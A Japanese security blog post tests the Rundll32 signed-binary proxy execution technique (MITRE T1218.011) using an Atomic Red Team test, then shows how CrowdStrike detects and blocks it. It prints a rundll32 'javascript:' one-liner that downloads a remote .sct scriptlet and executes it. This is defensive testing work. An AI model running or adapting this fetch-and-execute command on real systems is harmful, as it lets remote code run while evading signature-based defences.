疑似攻撃よるレスポンス予行演習(その4)

前回に続いて、攻撃者が採用する戦術で使用されるテクニックをAtomic Red Teamが提供する疑似攻撃コードを使い、実際に実行してみます。

T1218.011(Signed Binary Proxy Execution: Rundll32)(実行)

■署名付きバイナリプロキシ実行とは(Signed Binary Proxy Execution)

Windows OSの正規のコマンドは、信頼できるデジタル証明書で署名されています。ただ、正規コマンドの中には、他の形式のコード(DLLやOCXなど)を実行できるものがあります。

例)

コマンド名説明
hh.exe.CHM形式のMicrosoft 標準のヘルプ形式を表示。
.CHM形式ファイルは、HTMLをコンパイルして作成される。
このHTMLにVBScriptやJavaScriptがある場合は、そのコードを実行できる。
control.exeコントロールパネルに表示される項目を拡張子.CPLのファイルとして指定できる。
拡張子.CPLファイルは単独でも実行可能なものが指定される。
そのため、コントロールパネルから任意のコードを実行させることができる。
rundll32.exeDLLを指定して実行するとDLLの中にある関数を動的に動作させることができる。
regsvr32.exeDLLやActiveXコントロールなどのOLEコントロールをシステムに登録する。
指定したOLEコントロールをブラウザなどから使用できるようにできる。

攻撃者は、これらの署名された正規コマンド(バイナリ)を使用して悪意のあるコードを間接的に実行(プロキシ)することにより、プロセスや署名ベースの防御を回避して侵害目的を達成できる可能性があります。

■T1218.011

T1218は、署名付きバイナリプロキシ実行の攻撃テクニックとして、現在、14種類のパターンが提示されています。今回は、その中から、T1218.011を使って悪意のあるコードの実行を試行してみたいと思います。T1218.011は、先述したrundll32.exeを悪用した攻撃パターンとなります。

Atomic Red Teamでは、T1218.011向けに、以下の12つの疑似攻撃のコードを公開しています。

■疑似攻撃の内容

今回、Atomic Test #1ついて、検証してみました。”Atomic Test #1 – Rundll32 execute JavaScript Remote Payload With GetObject”に公開されている疑似コードは、以下となります。

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct").Exec();

mshtml.dllのRunHTMLApplicationを用いることで、任意のJavaScriptを実行することでプログラムの実行すること試行しています。
実行するスクリプトは、外部サイトからダウンロードした「Windows Script Component」形式(拡張子.sct)のファイルに記述されているJavaScriptコードとなります。

ダウンロードされる”T1218.011.sct”ファイルの中身を確認してみました。

JavaScriptを使用して、メモ帳アプリ(notepad.exe)を実行するもののようです。

そこで、CrowdStrikeの設定を検知するがブロックしない設定にしたうえで、攻撃がどのように検知されるか確認してみました。

■実行結果

以下の通り、メモ帳が表示されました。

rundll32.exeを使用されてしまうと、外部からダウンロードしたスクリプトから、内部のコマンドが実行できてしまいます。

■検知結果

検知までの経緯は、以下のように可視化されていました。

  • コマンドラインから、rundll32を起動
  • rundll32からメモ帳アプリ(notepad)が起動

実際のコマンドラインも以下の通り、記録されていました。

検知内容としては、3つの情報が提示されました。

  • 検知名(IOA名):JavaScriptViaRundll32
  • 検知概要(IOSの説明):JavaScriptは、コマンドラインからrundll32.exeを介して実行されました(rundll32.exeはコマンドラインから起動され、「javascript:」という引数が含まれていました)
  • 検知名(IOA名):Rundll32LaunchScript
  • 検知概要(IOSの説明):Rundll32は、コマンドラインで渡されたスクリプトを起動しようとしました。 マルウェアはしばしばrundll32を悪用して悪意のあるペイロードを起動します。 スクリプトを調査し、rundll32コマンドのソースを調査してください。
  • 検知名(IOA名):ExploitKit
  • 検知概要(IOSの説明):エクスプロイトキットに関連している可能性が高いプロセスが起動しました。プロセスツリーを確認してください。

■防御ポリシーの適用

先ほどは、攻撃試行の内容を最後まで確認するためにCrowdStrikeをブロックしないポリシーで実行しました。ただ、実際は被害を阻止するには、危険な検知があった場合は、該当の処理をブロックするように設定します。

ブロック設定を有効にした後に、再度、同じ疑似コードを実行してみました。

「アクセスが拒否されました」とあるため、処理がブロックされたように見えます。また、メモ帳アプリも起動されませんでした。

■防御の結果

今回は、runll32.exe 以降の処理は実行されていませんでした。

rundll32の処理自体がブロックjされていました。

今回のまとめ

正規のコマンドを経由して他のコマンドを実行しようとする攻撃は、Emotet などでも多用されるよくある攻撃の一つです。今回、このような攻撃がCrowdStrikeで可視化され、確実に防御されるが分かりました。